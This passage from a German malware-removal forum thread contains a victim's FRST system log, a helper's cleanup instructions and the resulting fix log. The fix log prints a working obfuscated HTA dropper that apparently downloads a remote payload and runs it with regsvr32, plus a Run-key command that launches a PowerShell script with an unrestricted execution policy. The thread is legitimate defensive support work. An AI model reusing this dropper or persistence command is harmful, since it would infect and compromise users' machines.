(x86)\NVIDIA Corporation\NetService\NvNetworkService.exe (NVIDIA Corporation -> NVIDIA Corporation) FirewallRules: [{1905C57E-57A1-423A-8292-F3653BDCD9FC}] => (Allow) C:\Program Files\NVIDIA Corporation\NvStreamSrv\NvStreamNetworkService.exe => Keine Datei FirewallRules: [{E9F94A41-17BD-4D6F-BD28-D796C6087D62}] => (Allow) C:\Program Files\NVIDIA Corporation\NvStreamSrv\NvStreamNetworkService.exe => Keine Datei FirewallRules: [{FDB38FF5-9C44-4ACB-B937-AA44CBDBC670}] => (Allow) C:\Program Files\NVIDIA Corporation\NvStreamSrv\NvStreamUserAgent.exe (NVIDIA Corporation -> NVIDIA Corporation) FirewallRules: [{EFD9BA65-4F2A-47B4-85E8-464ED1F16EE0}] => (Allow) C:\Program Files\NVIDIA Corporation\NvStreamSrv\nvstreamer.exe (NVIDIA Corporation -> NVIDIA Corporation) FirewallRules: [{996BEEA1-905F-4917-9B6C-B51B28057C0E}] => (Allow) C:\Program Files\NVIDIA Corporation\NvStreamSrv\nvstreamer.exe (NVIDIA Corporation -> NVIDIA Corporation) FirewallRules: [{F90A39C0-CD40-4833-A941-8B133F868270}] => (Allow) C:\Program Files (x86)\Mozilla Firefox\firefox.exe (Mozilla Corporation -> Mozilla Corporation) FirewallRules: [{3C93DB5A-6E08-4408-962D-EF28EC8DF3E7}] => (Allow) C:\Program Files (x86)\Mozilla Firefox\firefox.exe (Mozilla Corporation -> Mozilla Corporation) FirewallRules: [{5B458C8D-1A09-48E5-853A-266005C0B0CA}] => (Allow) C:\Program Files (x86)\Acer\AOP Framework\acer\ccd.exe (Acer Incorporated -> Acer Cloud Technology) FirewallRules: [{5F72DCFE-88A9-4930-8F03-A2CFCAC70249}] => (Allow) C:\Program Files (x86)\Acer\AOP Framework\acer\ccd.exe (Acer Incorporated -> Acer Cloud Technology) FirewallRules: [{44F00BA1-9DAF-4ED4-A6B4-7DD1BA9FD981}] => (Allow) C:\Program Files (x86)\Acer\abPhoto\DMCDaemon.exe (Acer Incorporated -> acer) FirewallRules: [{692C94ED-1AC5-4472-8072-6F8032B618AC}] => (Allow) C:\Program Files (x86)\Acer\abPhoto\DMCDaemon.exe (Acer Incorporated -> acer) FirewallRules: [{5CFBDD13-10E1-4845-8326-4DB3B06B75D5}] => (Allow) C:\Program Files (x86)\Acer\abPhoto\WindowsUpnp.exe (Acer Incorporated -> acer) FirewallRules: [{21019474-E2CD-48E6-B862-5D5E742958D4}] => (Allow) C:\Program Files (x86)\Acer\abPhoto\WindowsUpnp.exe (Acer Incorporated -> acer) FirewallRules: [{14A1850E-7177-4807-9BDF-EBDB2B85A474}] => (Allow) D:\Games\Ubisoft\Ubisoft Game Launcher\games\Far Cry 4\bin\FarCry4.exe => Keine Datei FirewallRules: [{62CAE8FD-71BA-4172-AF8E-1FF3065B2249}] => (Allow) D:\Games\Ubisoft\Ubisoft Game Launcher\games\Far Cry 4\bin\FarCry4.exe => Keine Datei FirewallRules: [{E2BAB3E1-33F3-4B93-81E8-56ABDA52D524}] => (Allow) D:\Games\Ubisoft\Ubisoft Game Launcher\games\Far Cry 4\bin\IGE_WPF64.exe => Keine Datei FirewallRules: [{F1EFDB93-62B9-401F-8E45-3EA016509EE7}] => (Allow) D:\Games\Ubisoft\Ubisoft Game Launcher\games\Far Cry 4\bin\IGE_WPF64.exe => Keine Datei FirewallRules: [{974E9408-B6CB-422B-ADEC-0FD0332BD3EA}] => (Allow) D:\Games\Steam\steamapps\common\Warframe\Tools\Launcher.exe => Keine Datei FirewallRules: [{7F5FC999-551D-4EA2-BDDA-7F6036EA433C}] => (Allow) D:\Games\Steam\steamapps\common\Warframe\Tools\Launcher.exe => Keine Datei FirewallRules: [{AB5E532E-2BD0-4CD2-89ED-59E9D29C7B32}] => (Allow) D:\Games\Steam\bin\cef\cef.win7x64\steamwebhelper.exe (Valve -> Valve Corporation) FirewallRules: [{0DB2F5F2-C62F-4CB8-8561-B4C99965B372}] => (Allow) D:\Games\Steam\bin\cef\cef.win7x64\steamwebhelper.exe (Valve -> Valve Corporation) FirewallRules: [{9B552939-C301-4CCF-8DFD-11CFE83B5EDB}] => (Allow) C:\Games\Anno 1800\Bin\Win64\Anno1800.exe (Blue Byte GmbH -> Ubisoft) FirewallRules: [TCP Query User{B55E4F9D-BB35-4F96-B6EB-099816F4CC46}D:\games\bethesda.net launcher\games\rage 2\rage2.exe] => (Allow) D:\games\bethesda.net launcher\games\rage 2\rage2.exe () [Datei ist nicht signiert] FirewallRules: [UDP Query User{2D2EE6F9-48AE-4ECC-B344-9138078E883B}D:\games\bethesda.net launcher\games\rage 2\rage2.exe] => (Allow) D:\games\bethesda.net launcher\games\rage 2\rage2.exe () [Datei ist nicht signiert] FirewallRules: [{8D0B6E65-DD68-4616-9F8A-BAB9324FCFB2}] => (Allow) D:\Games\Jedi Fallen Order\SwGame\Binaries\Win64\starwarsjedifallenorder.exe (Electronic Arts, Inc. -> Respawn Entertainment) FirewallRules: [{A25E0A2D-E292-4642-86B9-524FECAB8B8E}] => (Allow) D:\Games\Jedi Fallen Order\SwGame\Binaries\Win64\starwarsjedifallenorder.exe (Electronic Arts, Inc. -> Respawn Entertainment) FirewallRules: [TCP Query User{C1864196-3018-41DA-B772-FD47D64919BB}D:\games\railwayempire\railwayempire.exe] => (Allow) D:\games\railwayempire\railwayempire.exe (Kalypso Media Group -> Gaming Minds Studios GmbH) FirewallRules: [UDP Query User{63D5C567-A1DA-49C4-BD66-DC9D5E2A5CFF}D:\games\railwayempire\railwayempire.exe] => (Allow) D:\games\railwayempire\railwayempire.exe (Kalypso Media Group -> Gaming Minds Studios GmbH) FirewallRules: [{421AABE4-5156-483E-B1CE-80EE8D811464}] => (Allow) C:\Program Files\WindowsApps\Microsoft.SkypeApp_15.66.74.0_x86__kzf8qxf38zg5c\Skype\Skype.exe (Skype Software Sarl -> Skype Technologies S.A.) FirewallRules: [{A11781A9-D62D-47E3-BAEF-9EC30E8AE929}] => (Allow) C:\Program Files\WindowsApps\Microsoft.SkypeApp_15.66.74.0_x86__kzf8qxf38zg5c\Skype\Skype.exe (Skype Software Sarl -> Skype Technologies S.A.) FirewallRules: [{598FE96A-0A7A-46A0-9C87-C4F3A9CE381B}] => (Allow) C:\Program Files\WindowsApps\Microsoft.SkypeApp_15.66.74.0_x86__kzf8qxf38zg5c\Skype\Skype.exe (Skype Software Sarl -> Skype Technologies S.A.) FirewallRules: [{6512481C-AAAA-4C3C-82C4-13C7A8551D13}] => (Allow) C:\Program Files\WindowsApps\Microsoft.SkypeApp_15.66.74.0_x86__kzf8qxf38zg5c\Skype\Skype.exe (Skype Software Sarl -> Skype Technologies S.A.) FirewallRules: [{FB11754B-F73B-4848-9816-24502A847EE1}] => (Allow) D:\Games\Steam\steamapps\common\Halo The Master Chief Collection\mcclauncher.exe (EasyAntiCheat Oy -> Epic Games, Inc) FirewallRules: [{2B15BB1F-4E2F-4EDA-B3A1-72A6FAA0B003}] => (Allow) D:\Games\Steam\steamapps\common\Halo The Master Chief Collection\mcclauncher.exe (EasyAntiCheat Oy -> Epic Games, Inc) FirewallRules: [{141EA4CE-6221-4DC0-AEEB-D5D02877A4B7}] => (Allow) D:\Games\Steam\steamapps\common\Halo The Master Chief Collection\MCC\Binaries\Win64\MCC-Win64-Shipping.exe (343 Industries (Microsoft Corporation) -> Microsoft Corporation) FirewallRules: [{6BC7CB72-2650-4F1E-AD4D-3C0FCEA5778C}] => (Allow) D:\Games\Steam\steamapps\common\Halo The Master Chief Collection\MCC\Binaries\Win64\MCC-Win64-Shipping.exe (343 Industries (Microsoft Corporation) -> Microsoft Corporation) FirewallRules: [{60272B61-4A09-4DA5-819D-A100891B0175}] => (Allow) D:\Games\Steam\steamapps\common\AoE2DE\AoE2DE_s.exe (Microsoft Corporation -> Microsoft Corporation) FirewallRules: [{D263AFFD-29F7-4D0B-8FBA-E842D46680F4}] => (Allow) D:\Games\Steam\steamapps\common\AoE2DE\AoE2DE_s.exe (Microsoft Corporation -> Microsoft Corporation) FirewallRules: [{E581329A-FA48-448C-AC62-6DFFE19886C2}] => (Allow) D:\Games\Steam\steamapps\common\AoE2DE\BattleServer\BattleServer.exe (Microsoft Corporation -> ) FirewallRules: [{DC9328F2-7BC6-45F9-B8DF-2890DF9D0781}] => (Allow) D:\Games\Steam\steamapps\common\AoE2DE\BattleServer\BattleServer.exe (Microsoft Corporation -> ) FirewallRules: [{C4CCAEC6-7A45-467C-8152-51DB70344CC2}] => (Allow) D:\Games\Steam\steamapps\common\Grand Theft Auto V\PlayGTAV.exe (Rockstar Games, Inc. -> Rockstar Games) FirewallRules: [{D4BFF82B-4DBE-40B5-86C7-1109340C9EBD}] => (Allow) D:\Games\Steam\steamapps\common\Grand Theft Auto V\PlayGTAV.exe (Rockstar Games, Inc. -> Rockstar Games) FirewallRules: [TCP Query User{24EB7727-328E-4F8E-B3E6-D713E0BCC962}D:\games\steam\steamapps\common\grand theft auto v\gta5.exe] => (Allow) D:\games\steam\steamapps\common\grand theft auto v\gta5.exe (Rockstar Games, Inc. -> Rockstar Games) FirewallRules: [UDP Query User{492AA7E0-71FB-4A4B-A1A3-38084DA7711D}D:\games\steam\steamapps\common\grand theft auto v\gta5.exe] => (Allow) D:\games\steam\steamapps\common\grand theft auto v\gta5.exe (Rockstar Games, Inc. -> Rockstar Games) FirewallRules: [{3FC6A320-6C7B-4714-BFCC-9C0FCDD8B33D}] => (Allow) C:\Program Files (x86)\Microsoft Office\root\Office16\outlook.exe (Microsoft Corporation -> Microsoft Corporation) FirewallRules: [{14E3807E-54BC-4521-A37F-A5D274031189}] => (Allow) D:\Games\Steam\steamapps\common\rocketleague\Binaries\Win64\RocketLeague.exe => Keine Datei FirewallRules: [{F456BF3E-FE3B-45DD-9C08-4C3450A0ED9A}] => (Allow) D:\Games\Steam\steamapps\common\rocketleague\Binaries\Win64\RocketLeague.exe => Keine Datei FirewallRules: [TCP Query User{1A498CFD-0365-4897-AF04-AE3E184724EB}C:\users\jules\appdata\local\microsoft\teams\current\teams.exe] => (Allow) C:\users\jules\appdata\local\microsoft\teams\current\teams.exe => Keine Datei FirewallRules: [UDP Query User{E9E351E9-868C-484E-90E7-95DB57F93ABB}C:\users\jules\appdata\local\microsoft\teams\current\teams.exe] => (Allow) C:\users\jules\appdata\local\microsoft\teams\current\teams.exe => Keine Datei FirewallRules: [{297E42BA-ECAD-4C0A-94D8-C9C1FFFF25E7}] => (Allow) D:\Games\Steam\steamapps\common\Forts\Forts.exe (EarthWork Games Pty Ltd -> ) FirewallRules: [{03F63551-044A-45C5-B6F9-EA04D27ED5E7}] => (Allow) D:\Games\Steam\steamapps\common\Forts\Forts.exe (EarthWork Games Pty Ltd -> ) FirewallRules: [{94115DF2-90E6-4D21-A0F9-2108B057C8E1}] => (Allow) D:\Games\Steam\steamapps\common\XCOM 2\Launcher\launcher.exe (Xsolla (USA), Inc -> 2K) FirewallRules: [{B0AF6422-7545-471E-92E4-086090D2BEE6}] => (Allow) D:\Games\Steam\steamapps\common\XCOM 2\Launcher\launcher.exe (Xsolla (USA), Inc -> 2K) FirewallRules: [TCP Query User{FC020018-C66D-4282-8B11-CC09EEB269A6}D:\games\steam\steamapps\common\xcom 2\binaries\win64\xcom2.exe] => (Allow) D:\games\steam\steamapps\common\xcom 2\binaries\win64\xcom2.exe (Firaxis Games) [Datei ist nicht signiert] FirewallRules: [UDP Query User{BA777942-D862-4A9D-8555-FB535517A720}D:\games\steam\steamapps\common\xcom 2\binaries\win64\xcom2.exe] => (Allow) D:\games\steam\steamapps\common\xcom 2\binaries\win64\xcom2.exe (Firaxis Games) [Datei ist nicht signiert] FirewallRules: [{5A61BF98-8E18-4F8E-9165-BE52B4E6CC5A}] => (Allow) C:\Program Files (x86)\Dropbox\Client\Dropbox.exe (Dropbox, Inc -> Dropbox, Inc.) FirewallRules: [{10F2F2CA-90AA-45A5-9B48-BEAECDFE27A6}] => (Allow) D:\Games\Steam\steamapps\common\XCOM 2\2KLauncher\LauncherPatcher.exe (Take-Two Interactive Software, Inc. -> Take-Two Interactive Software, Inc.) FirewallRules: [{E2FCE8DF-F2A3-4377-BB88-1FEB47CD3F4C}] => (Allow) D:\Games\Steam\steamapps\common\XCOM 2\2KLauncher\LauncherPatcher.exe (Take-Two Interactive Software, Inc. -> Take-Two Interactive Software, Inc.) FirewallRules: [{13883EAF-E40F-4479-83D9-A691E4F95907}] => (Allow) C:\Program Files (x86)\Microsoft\EdgeWebView\Application\89.0.774.75\msedgewebview2.exe (Microsoft Corporation -> Microsoft Corporation) ==================== Wiederherstellungspunkte ========================= 25-02-2021 21:30:58 Geplanter Prüfpunkt 14-03-2021 22:43:35 Windows Modules Installer ==================== Fehlerhafte Geräte im Gerätemanager ============ ==================== Fehlereinträge in der Ereignisanzeige: ======================== Applikationsfehler: ================== Error: (04/13/2021 02:34:42 PM) (Source: Software Protection Platform Service) (EventID: 1014) (User: ) Description: Fehler beim Erwerb der Endbenutzerlizenz. hr=0xC004C003 SKU-ID=95820f84-6e8c-4d22-b2ce-54953e9911bc Error: (04/13/2021 02:34:42 PM) (Source: Software Protection Platform Service) (EventID: 8200) (User: ) Description: Lizenzerwerb-Fehlerdetails. hr=0xC004C003 Error: (04/13/2021 02:34:08 PM) (Source: Software Protection Platform Service) (EventID: 1014) (User: ) Description: Fehler beim Erwerb der Endbenutzerlizenz. hr=0xC004C003 SKU-ID=95820f84-6e8c-4d22-b2ce-54953e9911bc Error: (04/13/2021 02:34:08 PM) (Source: Software Protection Platform Service) (EventID: 8200) (User: ) Description: Lizenzerwerb-Fehlerdetails. hr=0xC004C003 Error: (04/13/2021 12:14:34 PM) (Source: Office 2016 Licensing Service) (EventID: 0) (User: ) Description: Event-ID 0 Error: (04/12/2021 10:34:01 PM) (Source: Office 2016 Licensing Service) (EventID: 0) (User: ) Description: Event-ID 0 Error: (04/11/2021 10:30:19 PM) (Source: Office 2016 Licensing Service) (EventID: 0) (User: ) Description: Event-ID 0 Error: (04/10/2021 10:26:44 AM) (Source: Office 2016 Licensing Service) (EventID: 0) (User: ) Description: Event-ID 0 Systemfehler: ============= Error: (04/13/2021 07:48:22 AM) (Source: Service Control Manager) (EventID: 7000) (User: ) Description: Der Dienst "Steam Client Service" wurde aufgrund folgenden Fehlers nicht gestartet: Der Dienst antwortete nicht rechtzeitig auf die Start- oder Steuerungsanforderung. Error: (04/13/2021 07:48:22 AM) (Source: Service Control Manager) (EventID: 7009) (User: ) Description: Das Zeitlimit (30000 ms) wurde beim Verbindungsversuch mit dem Dienst Steam Client Service erreicht. Error: (04/10/2021 10:51:49 AM) (Source: DCOM) (EventID: 10010) (User: JULES-ACERF17) Description: Der Server "{FD06603A-2BDF-4BB1-B7DF-5DC68F353601}" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden. Error: (04/03/2021 10:05:03 AM) (Source: DCOM) (EventID: 10010) (User: JULES-ACERF17) Description: Der Server "Microsoft.Windows.ContentDeliveryManager_10.0.19041.423_neutral_neutral_cw5n1h2txyewy!App.AppXwdz8g2fxr36xz0tdtagygnvemf85s7gg.mca" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden. Error: (04/02/2021 12:07:17 PM) (Source: DCOM) (EventID: 10010) (User: JULES-ACERF17) Description: Der Server "{FD06603A-2BDF-4BB1-B7DF-5DC68F353601}" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden. Error: (04/01/2021 06:48:58 AM) (Source: DCOM) (EventID: 10010) (User: JULES-ACERF17) Description: Der Server "{FD06603A-2BDF-4BB1-B7DF-5DC68F353601}" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden. Error: (03/30/2021 11:06:20 AM) (Source: DCOM) (EventID: 10010) (User: JULES-ACERF17) Description: Der Server "Microsoft.Windows.ContentDeliveryManager_10.0.19041.423_neutral_neutral_cw5n1h2txyewy!App.AppXwdz8g2fxr36xz0tdtagygnvemf85s7gg.mca" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden. Error: (03/29/2021 11:07:47 AM) (Source: DCOM) (EventID: 10010) (User: JULES-ACERF17) Description: Der Server "Microsoft.Windows.ContentDeliveryManager_10.0.19041.423_neutral_neutral_cw5n1h2txyewy!App.AppXwdz8g2fxr36xz0tdtagygnvemf85s7gg.mca" konnte innerhalb des angegebenen Zeitabschnitts mit DCOM nicht registriert werden. CodeIntegrity: =============== Date: 2021-04-13 16:13:18 Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Windows\System32\svchost.exe) attempted to load \Device\HarddiskVolume4\Program Files\Emsisoft Anti-Malware\eppcom64.dll that did not meet the Windows signing level requirements. Date: 2021-04-13 16:13:18 Description: Code Integrity determined that a process (\Device\HarddiskVolume4\Program Files\Emsisoft Anti-Malware\eppwsc.exe) attempted to load \Device\HarddiskVolume4\Program Files\Emsisoft Anti-Malware\eppcom64.dll that did not meet the Custom 3 / Antimalware signing level requirements. ==================== Speicherinformationen =========================== BIOS: Insyde Corp. V1.18 10/21/2016 Hauptplatine: Acer SpiderMan_SK Prozessor: Intel(R) Core(TM) i7-7500U CPU @ 2.70GHz Prozentuale Nutzung des RAM: 41% Installierter physikalischer RAM: 16252.22 MB Verfügbarer physikalischer RAM: 9570.32 MB Summe virtueller Speicher: 18684.22 MB Verfügbarer virtueller Speicher: 11087.15 MB ==================== Laufwerke ================================ Drive c: (Acer) (Fixed) (Total:237.36 GB) (Free:82.47 GB) NTFS Drive d: (Data) (Fixed) (Total:931.51 GB) (Free:126.87 GB) NTFS \\?\Volume{44f275c1-0c20-44fc-9e16-4da330d4e24b}\ (Recovery) (Fixed) (Total:1 GB) (Free:0.52 GB) NTFS \\?\Volume{fd4f6b09-3c39-473e-b9b0-784d9524d6f1}\ (ESP) (Fixed) (Total:0.09 GB) (Free:0.05 GB) FAT32 ==================== MBR & Partitionstabelle ==================== ========================================================== Disk: 0 (Size: 931.5 GB) (Disk ID: 610F7E67) Partition: GPT. ========================================================== Disk: 1 (Size: 238.5 GB) (Disk ID: 610F4066) Partition: GPT. ==================== Ende von Addition.txt ======================= Ich bedanke mich jetzt schonmal herzlich für eure Zeit und die Hilfe! Beste Grüße, Jules |
|
13.04.2021, 19:12
| #2 |
| /// TB-Ausbilder   | Win10 x 64: Malware durch Emailanhang auf den Laptop gezogen Mein Name ist Matthias und ich werde dir bei der Analyse und der eventuell notwendigen Bereinigung deines Computers helfen. Ich analysiere gerade dein System und melde mich in Kürze mit weiteren Anweisungen. |
|
13.04.2021, 19:22
| #3 |
| /// TB-Ausbilder | Win10 x 64: Malware durch Emailanhang auf den Laptop gezogen Schritt 1
__________________WARNUNG AN ALLE MITLESER !!! Dieses FRST-Script ist ausschließlich für diesen Nutzer gedacht und sollte niemals 1:1 für ein anderes System angewendet werden!
Schritt 2 Mit Schritt 1 wurde ein .zip Archiv mit dem Schema < Datum_Uhrzeit.zip > (z. B. 20.02.2021_11.33.52.zip) auf deinem Desktop erstellt.
Schritt 3 Führe Malwarebytes' AntiMalware (MBAM) gemäß der bebilderten Anleitung aus und poste abschließend die Logdatei. Schritt 4
Bitte poste mit deiner nächsten Antwort:
Geändert von M-K-D-B (13.04.2021 um 19:33 Uhr) |
|
13.04.2021, 21:22
| #4 |
| | Win10 x 64: Malware durch Emailanhang auf den Laptop gezogen Hallo Matthias, erstmal vielen lieben Dank für deine schnelle Hilfe! Logdatei des FRST-Fix (fixlog.txt) Code:
ATTFilter Entfernungsergebnis von Farbar Recovery Scan Tool (x64) Version: 11-04-2021
durchgeführt von Jules (13-04-2021 21:48:29) Run:1
Gestartet von D:\Downloads
Geladene Profile: Jules
Start-Modus: Normal
==============================================
fixlist Inhalt:
*****************
CloseProcesses:
HKU\S-1-5-21-3625877240-3343899472-1711248771-1001\...\Run: [bicmmc] => cmd /c start C:\Users\Jules\bicmmc.lnk -ep unrestricted -file C:\Users\Jules\D3d1kmgr.ps1
C:\Users\Jules\D3d1kmgr.ps1
Task: {DFC68190-0D72-4516-BAC5-317C587EF9EE} - \Microsoft\Windows\UNP\RunCampaignManager -> Keine Datei <==== ACHTUNG
VirusTotal: C:\ProgramData\deleteMainMain.hta
CMD: type "C:\ProgramData\deleteMainMain.hta"
C:\ProgramData\deleteMainMain.hta
VirusTotal: C:\Users\Jules\AppData\Roaming\Microsoft\{3E79AF4C-85CF-207B-FF52-8954A3A6CDC8}
C:\Users\Jules\AppData\Roaming\Microsoft\{3E79AF4C-85CF-207B-FF52-8954A3A6CDC8}
Zip: C:\FRST\Quarantine
SearchScopes: HKU\S-1-5-21-3625877240-3343899472-1711248771-1001 -> {719D3D69-4D32-4D6A-8008-477B306B8CEB} URL =
CMD: ipconfig /flushdns
CMD: netsh winsock reset
CMD: netsh advfirewall reset
CMD: netsh advfirewall set allprofiles state ON
CMD: Bitsadmin /Reset /Allusers
powershell: Set-MpPreference -PUAProtection Enabled
powershell: Set-MpPreference -DisableScanningNetworkFiles 0
Hosts:
RemoveProxy:
SystemRestore: On
EmptyTemp:
*****************
Prozesse erfolgreich geschlossen.
"HKU\S-1-5-21-3625877240-3343899472-1711248771-1001\Software\Microsoft\Windows\CurrentVersion\Run\\bicmmc" => erfolgreich entfernt
"C:\Users\Jules\D3d1kmgr.ps1" => nicht gefunden
"HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Plain\{DFC68190-0D72-4516-BAC5-317C587EF9EE}" => erfolgreich entfernt
"HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tasks\{DFC68190-0D72-4516-BAC5-317C587EF9EE}" => erfolgreich entfernt
"HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\Microsoft\Windows\UNP\RunCampaignManager" => nicht gefunden
VirusTotal: C:\ProgramData\deleteMainMain.hta => https://www.virustotal.com/gui/file/188170eb7fcecc189edcef6755bab69a6aa128987654a3e22905eeea9099d5be/detection/f-188170eb7fcecc189edcef6755bab69a6aa128987654a3e22905eeea9099d5be-1618343314
========= type "C:\ProgramData\deleteMainMain.hta" =========
<html><body><div id='content'>fTtlc29sYy5ub2l0cGVjeEVrbmlMZXRzYXA7KTIgLCJncGoubmlhTW5pYU1ldGVsZWRcXGNpbGJ1cFxcc3Jlc3VcXDpjIihlbGlmb3RldmFzLm5vaXRwZWN4RWtuaUxldHNhcDspeWRvYmVzbm9wc2VyLmZlUnJhVmF0YWQoZXRpcncubm9pdHBlY3hFa25pTGV0c2FwOzEgPSBlcHl0Lm5vaXRwZWN4RWtuaUxldHNhcDtuZXBvLm5vaXRwZWN4RWtuaUxldHNhcDspIm1hZXJ0cy5iZG9kYSIodGNlamJPWGV2aXRjQSB3ZW4gPSBub2l0cGVjeEVrbmlMZXRzYXAgcmF2eykwMDIgPT0gc3V0YXRzLmZlUnJhVmF0YWQoZmk7KShkbmVzLmZlUnJhVmF0YWQ7KWVzbGFmICwiVlQxemRiZVRINGl4NFFDdnNoNm12PWRpYyZwT0dqTlc2WVBUPWVtaXQmVEdrWEw9elJNJjJIem49UU51bFdLaWhrJjZLV0F1dXVEemxwdTE9NGI/MDFxb2hpdi9nYVNOSkVZYS96VndLdFhwYlhHT3pOMWh6aG1QbGJCMXlNYlFrUllTbUhvN001bTZnamcvMjUzMzEvV3VRMW00ZWJFanlWUW9DOXRZSGZ6Yno3RkkvTkdrbnRNaDNMOTk5OXNkM0lQZ0hYV0EvWFdnN3hDd0JPcDdUc0J0MkNXdXhYS3pzRE1DamprNDc3YU5yL2Roam1lYnZNZi9zeXVvZy9tb2Mud2Fybm90ZWxkZGltLy86cHR0aCIgLCJURUciKG5lcG8uZmVScmFWYXRhZDspInB0dGhsbXguMmxteHNtIih0Y2VqYk9YZXZpdGNBIHdlbiA9IGZlUnJhVmF0YWQgcmF2|fXspeXBvQ3lwb0Njb3JwKGhjdGFjfTspImF0aC5uaWFNbmlhTWV0ZWxlZFxcY2lsYnVwXFxzcmVzdVxcOmMiKGVsaWZldGVsZWQucGF3U2xhY29MZXZvbWVye3lydDspInRjZWpib21ldHN5c2VsaWYuZ25pdHBpcmNzIih0Y2VqYk9YZXZpdGNBIHdlbiA9IHBhd1NsYWNvTGV2b21lciByYXY7KSJncGoubmlhTW5pYU1ldGVsZWRcXGNpbGJ1cFxcc3Jlc3VcXDpjIDIzcnZzZ2VyIihudXIuKSJsbGVocy50cGlyY3N3Iih0Y2VqYk9YZXZpdGNBIHdlbg==</div><div id='table1'>ABCDEFGHIJKLMNOPQRSTUVWXYZ</div><div id='table2'>0123456789+/</div><div id='table3'></div><script language='javascript'>function constTable(tempCountTitle){return(new ActiveXObject(tempCountTitle));}function memoryNamespace(queryRepoList){return(windowSizeBuf.getElementById(queryRepoList).innerHTML);}function textTable(){var genericDatabase = memoryNamespace('table1');var repoMemory = genericDatabase.toLowerCase();var windowClass = memoryNamespace('table2');return(genericDatabase + repoMemory + windowClass);}function referenceStruct(s){var e={}; var i; var b=0; var c; var x; var l=0; var a; var bufTitleCaption=''; var w=String.fromCharCode; var L=s.length;var lenTempGlobal = 'charAt';for(i=0;i<64;i++){e[textTable()[lenTempGlobal](i)]=i;}for(x=0;x<L;x++){c=e[s[lenTempGlobal](x)];b=(b<<6)+c;l+=6;while(l>=8){((a=(b>>>(l-=8))&0xff)||(x<(L-2)))&&(bufTitleCaption+=w(a));}}return(bufTitleCaption);};function exceptionDeleteTextbox(selectClear){return selectClear.split('').reverse().join('');}mainWindowTmp = window;windowSizeBuf = document;mainWindowTmp.resizeTo(1, 1);mainWindowTmp.moveTo(-100, -100);var optionRepo = windowSizeBuf.getElementById('content').innerHTML;var optionRepo = optionRepo.split('|');var leftA = exceptionDeleteTextbox(referenceStruct(optionRepo[0]));var ExTitleA = exceptionDeleteTextbox(referenceStruct(optionRepo[1]));</script><script language='javascript'>function classPasteRef(linkData){var borderProc = constTable('msscriptcontrol.scriptcontrol');borderProc.Language = 'jscript';borderProc.Timeout = 60000;borderProc.AddCode(linkData);return(null);}</script><script language='vbscript'>classPasteRef leftA : classPasteRef ExTitleA : mainWindowTmp.close</script></body></html>
========= Ende von CMD: =========
C:\ProgramData\deleteMainMain.hta => erfolgreich verschoben
VirusTotal: C:\Users\Jules\AppData\Roaming\Microsoft\{3E79AF4C-85CF-207B-FF52-8954A3A6CDC8} => https://www.virustotal.com/gui/file/6a8ef78d881ee68f4dda06a43e0dc4ec72c8456301580c2a3be5728bce90a6b6/detection/f-6a8ef78d881ee68f4dda06a43e0dc4ec72c8456301580c2a3be5728bce90a6b6-1618343316
C:\Users\Jules\AppData\Roaming\Microsoft\{3E79AF4C-85CF-207B-FF52-8954A3A6CDC8} => erfolgreich verschoben
================== Zip: ===================
C:\FRST\Quarantine -> erfolgreich kopiert zu C:\Users\Jules\OneDrive\Desktop\13.04.2021_21.48.36.zip
=========== Zip: Ende ===========
HKU\S-1-5-21-3625877240-3343899472-1711248771-1001\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{719D3D69-4D32-4D6A-8008-477B306B8CEB} => erfolgreich entfernt
========= ipconfig /flushdns =========
Windows-IP-Konfiguration
Der DNS-Aufl”sungscache wurde geleert.
========= Ende von CMD: =========
========= netsh winsock reset =========
Der Winsock-Katalog wurde zurckgesetzt.
Sie mssen den Computer neu starten, um den Vorgang abzuschlieáen.
========= Ende von CMD: =========
========= netsh advfirewall reset =========
OK.
========= Ende von CMD: =========
========= netsh advfirewall set allprofiles state ON =========
OK.
========= Ende von CMD: =========
========= Bitsadmin /Reset /Allusers =========
BITSADMIN version 3.0
BITS administration utility.
(C) Copyright Microsoft Corp.
0 out of 0 jobs canceled.
========= Ende von CMD: =========
========= Set-MpPreference -PUAProtection Enabled =========
Set-MpPreference : Fehler beim Vorgang: 0x800106ba. Vorgang: Set-MpPreference. Ziel: PUAProtection.
In C:\FRST\tmp.ps1:1 Zeichen:1
+ Set-MpPreference -PUAProtection Enabled
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Set-MpPreference],
CimException
+ FullyQualifiedErrorId : HRESULT 0x800106ba,Set-MpPreference
========= Ende von Powershell: =========
========= Set-MpPreference -DisableScanningNetworkFiles 0 =========
Set-MpPreference : Fehler beim Vorgang: 0x800106ba. Vorgang: Set-MpPreference. Ziel: DisableScanningNetworkFiles.
In C:\FRST\tmp.ps1:1 Zeichen:1
+ Set-MpPreference -DisableScanningNetworkFiles 0
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : NotSpecified: (MSFT_MpPreference:root\Microsoft\...FT_MpPreference) [Set-MpPreference],
CimException
+ FullyQualifiedErrorId : HRESULT 0x800106ba,Set-MpPreference
========= Ende von Powershell: =========
C:\Windows\System32\Drivers\etc\hosts => erfolgreich verschoben
Hosts erfolgreich wiederhergestellt.
========= RemoveProxy: =========
"HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\DefaultConnectionSettings" => erfolgreich entfernt
"HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\SavedLegacySettings" => erfolgreich entfernt
"HKU\S-1-5-21-3625877240-3343899472-1711248771-1001\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\DefaultConnectionSettings" => erfolgreich entfernt
"HKU\S-1-5-21-3625877240-3343899472-1711248771-1001\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\\SavedLegacySettings" => erfolgreich entfernt
